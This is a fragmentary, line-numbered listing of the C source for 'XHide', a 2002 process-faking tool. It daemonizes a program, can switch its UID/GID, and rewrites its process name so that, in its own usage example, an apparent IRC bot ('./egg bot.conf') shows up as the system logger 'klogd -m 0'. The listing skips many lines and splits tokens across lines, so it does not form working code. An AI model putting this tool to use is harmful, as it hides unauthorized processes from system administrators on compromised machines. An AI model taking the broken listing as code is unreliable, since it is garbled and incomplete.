10 void usage(char *progname
);
12 int changeown (char *str
)
14 char user
[256], *group
;
21 memset(user
, '\0', sizeof(user
));
22 strncpy(user
, str
, sizeof(user
));
24 for (group
= user
; *group
; group
++)
32 if (pwd
= getpwnam(user
))
37 } else uid
= (uid_t
) atoi(user
);
40 if (grp
= getgrnam(group
)) gid
= grp
->gr_gid
;
41 else gid
= (gid_t
) atoi(group
);
44 perror("Error: Can't set GID");
50 perror("Error: Can't set UID");
57 char *fullpath(char *cmd
)
59 char *p
, *q
, *filename
;
65 filename
= (char *) malloc(256);
68 if (getcwd(filename
, 255) != NULL
)
70 strcat(filename
, "/");
71 strcat(filename
, cmd
);
77 for (p
= q
= (char *) getenv("PATH"); q
!= NULL
; p
= ++q
)
79 if (q
= (char *) strchr(q
, ':'))
82 snprintf(filename
, 256, "%s/%s", p
, cmd
);
84 if (stat(filename
, &st
) != -1
85 && S_ISREG(st
.st_mode
)
86 && (st
.st_mode
&S_IXUSR
|| st
.st_mode
&S_IXGRP
|| st
.st_mode
&S_IXOTH
))
99 void usage(char *progname
)
101 fprintf(stderr
, "XHide - Process Faker, by Schizoprenic "
102 "Xnuxer Research (c) 2002\n\nOptions:\n"
104 "-s string\tFake name process\n"
105 "-d\t\tRun aplication as daemon/system (optional)\n"
106 "-u uid[:gid]\tChange UID/GID, use another user (optional)\n"
107 "-p filename\tSave PID to filename (optional)\n\n"
109 "Example: %s -s \"klogd -m 0\" -d -p test.pid ./egg bot.conf\n\n",progname
);
114 int main(int argc
,char **argv
)
118 char *progname
, *fakename
;
129 if(argc
<2) usage(progname
);
131 for (i
= 1; i
< argc
; i
++)
133 if (argv
[i
][0] == '-')
134 switch (c
= argv
[i
][1])
137 case 's': fakename
= argv
[++i
]; break;
138 case 'u': changeown(argv
[++i
]); break;
139 case 'p': pidfile
= argv
[++i
]; break;
140 case 'd': runsys
= 1; break;
142 default: usage(progname
); break;
147 if (!(n
= argc
- i
) || fakename
== NULL
) usage(progname
);
149 newargv
= (char **) malloc(n
* sizeof(char **) + 1);
150 for (j
= 0; j
< n
; i
++,j
++) newargv
[j
] = argv
[i
];
153 if ((fp
= fullpath(newargv
[0])) == NULL
) { perror("Full path seek"); exit(1); }
158 memset(fake
, ' ', sizeof(fake
) - 1);
159 fake
[sizeof(fake
) - 1] = '\0';
160 strncpy(fake
, fakename
, strlen(fakename
));
161 // Kent, this is the key point.. keke
163 /*for (int i = 1; i < n; i++) newargv[i] = "";*/
165 else newargv
[0] = fakename
;
169 if ((null
= open("/dev/null", O_RDWR
)) == -1)
171 perror("Error: /dev/null");
178 perror("Error: FORK-1");
187 perror("Error: FORK-2");
210 waitpid(-1, (int *)0, 0);
213 if (pidfile
!= NULL
&& (f
= fopen(pidfile
, "w")) != NULL
)
215 fprintf(f
, "%d\n", pidnum
);
219 fprintf(stderr
,"==> Fakename: %s PidNum: %d\n",fakename
,pidnum
);
220 execv(execst
, newargv
);
221 perror("Couldn't execute");